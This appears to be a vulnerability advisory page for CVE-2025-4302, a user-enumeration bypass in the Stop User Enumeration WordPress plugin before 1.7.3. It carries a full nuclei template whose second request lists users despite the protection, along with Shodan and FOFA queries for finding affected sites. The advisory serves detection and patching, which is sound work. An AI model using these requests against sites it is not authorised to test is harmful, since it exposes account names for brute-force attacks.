Stop User Enumeration WordPress plugin - Authentication Bypass

mediumseverity

5.3CVSS score

1%likelihood of exploitation, next 30 days

63%of all CVEs are less likely

Readycheck to confirm it

Stop User Enumeration WordPress plugin < 1.7.3 contains an authentication bypass caused by URL-encoding the REST API path /wp-json/wp/v2/users/, letting attackers bypass user enumeration restrictions, exploit requires crafted URL encoding.

Impact

Attackers can bypass user enumeration protection through URL-encoding manipulation, potentially facilitating brute force attacks against user accounts.

Fix

Upgrade Stop User Enumeration WordPress plugin to version 1.7.3 or later that properly handles URL-encoded REST API paths.

How to confirm it

Send: GET {{BaseURL}}/wp-json/wp/v2/users
Positive when: contains(body, "Only authenticated users can access the User endpoint REST API") and status_code==401
Send: GET {{BaseURL}}/wp-json/wp/v2/users?foo=simple-jwt-login
Positive when: matches /{"id":\d,"name":".*","url"/ AND contains in content_type "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2025-4302 -u <target>

The full check

id: CVE-2025-4302

info:
  name: Stop User Enumeration WordPress plugin - Authentication Bypass
  author: Kazgangap
  severity: medium
  description: |
    Stop User Enumeration WordPress plugin < 1.7.3 contains an authentication bypass caused by URL-encoding the REST API path /wp-json/wp/v2/users/, letting attackers bypass user enumeration restrictions, exploit requires crafted URL encoding.
  impact: |
    Attackers can bypass user enumeration protection through URL-encoding manipulation, potentially facilitating brute force attacks against user accounts.
  remediation: |
    Upgrade Stop User Enumeration WordPress plugin to version 1.7.3 or later that properly handles URL-encoded REST API paths.
  reference:
    - https://wpscan.com/vulnerability/19f67d6e-4ffe-4126-ac42-fb23c5017a3e/
    - https://github.com/Kazgangap/cve-poc-garage/blob/main/2025/CVE-2025-4302.md
    - https://nvd.nist.gov/vuln/detail/CVE-2025-4302
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2025-4302
    epss-score: 0.00984
    epss-percentile: 0.62633
  metadata:
    verified: true
    vendor: fullworks
    product: stop-user-enumeration
    framework: wordpress
    shodan-query: http.html:"/wp-content/plugins/stop-user-enumeration/"
    fofa-query: body=/wp-content/plugins/stop-user-enumeration/
    publicwww-query: "/wp-content/plugins/stop-user-enumeration/"
  tags: cve,cve2025,wordpress,wp-plugin,wp,wpscan,stop-user-enumeration,vuln

flow: http(1) && http(2)

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-json/wp/v2/users"

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "Only authenticated users can access the User endpoint REST API")'
          - 'status_code==401'
        condition: and
        internal: true

  - method: GET
    path:
      - "{{BaseURL}}/wp-json/wp/v2/users?foo=simple-jwt-login"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - '{"id":\d,"name":".*","url"'

      - type: word
        part: content_type
        words:
          - "application/json"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from